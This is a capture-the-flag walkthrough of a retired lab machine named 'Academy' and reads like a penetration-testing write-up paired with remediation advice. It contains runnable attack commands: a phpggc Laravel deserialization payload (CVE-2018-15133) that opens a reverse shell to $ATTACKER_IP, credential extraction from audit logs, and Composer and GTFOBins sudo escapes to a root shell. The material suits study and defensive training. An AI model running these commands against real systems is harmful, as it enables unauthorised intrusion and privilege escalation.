Academy
Summary
I discovered a Laravel-based academy portal running on Apache. By tampering with a hidden role-ID field during registration they obtained administrator access, which surfaced a development-staging virtual host. That staging site had Laravel debug mode enabled, causing any error page to render the full .env file — including the application's HMAC signing key (APP_KEY).
The key was used to sign a PHP deserialization gadget chain (CVE-2018-15133), achieving code execution as the web server user. A second .env file in the production codebase contained a database password reused as the SSH password for a local account, giving me a persistent shell. That account belonged to the 'adm' group, which could read Linux audit logs; the audit daemon had been configured to record TTY keystrokes, and a privileged user's password was stored there in hex-encoded plaintext.
Decoding those records gave access to a second account whose sole sudo entitlement — running Composer as root without a password — was abused via Composer's native scripting hook to execute commands as root, completing the full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -T4 -p- --min-rate 5000 -oN nmap_full.txt $TARGETffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.academy.htb' -fs 0echo "$TARGET academy.htb dev-staging-01.academy.htb" | sudo tee -a /etc/hostsExact commands 3
curl -sS -c cookies.txt -b cookies.txt -X POST http://academy.htb/register.php -d 'uid=$USERNAME&password=[REDACTED: recovered credential]&confirm=[REDACTED: recovered credential]&roleid=1'curl -sS -c cookies.txt -b cookies.txt -X POST http://academy.htb/login.php -d 'uid=$USERNAME&password=[REDACTED: recovered credential]' -Lcurl -sS -b cookies.txt http://academy.htb/admin.phpFixRemove the user-controlled role field from the registration formCritical
Exact commands 1
curl -sS --resolve dev-staging-01.academy.htb:80:$TARGET 'http://dev-staging-01.academy.htb/nonexistent'FixDisable Laravel debug mode and prevent .env exposure on all internet-facing hostsCritical
Exact commands 3
nc -lvnp 4444php /opt/phpggc/phpggc Laravel/RCE1 system 'bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"' -bcurl -sS -X POST --resolve dev-staging-01.academy.htb:80:$TARGET -H 'X-XSRF-TOKEN: <PHPGGC_OUTPUT>' 'http://dev-staging-01.academy.htb/'FixPatch CVE-2018-15133 and rotate the exposed Laravel APP_KEY immediatelyCritical
Exact commands 3
cat /var/www/html/academy/.envssh cry0l1t3@$TARGETcat ~/user.txtFixStop reusing application secrets as operating-system account passwordsHigh
Exact commands 3
idgrep 'type=TTY' /var/log/audit/audit.log | awk -F'data=' '{print $2}' | xxd -r -psu mrb3nFixDisable TTY keystroke logging in auditd and tighten log access permissionsHigh
Exact commands 3
sudo -lTF=$(mktemp -d) && echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' > "$TF/composer.json" && sudo composer --working-dir="$TF" run-script xcat /root/root.txtFixRemove the passwordless sudo rule granting Composer execution as rootCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 33060/tcp | mysqlx MySQL X protocol listener |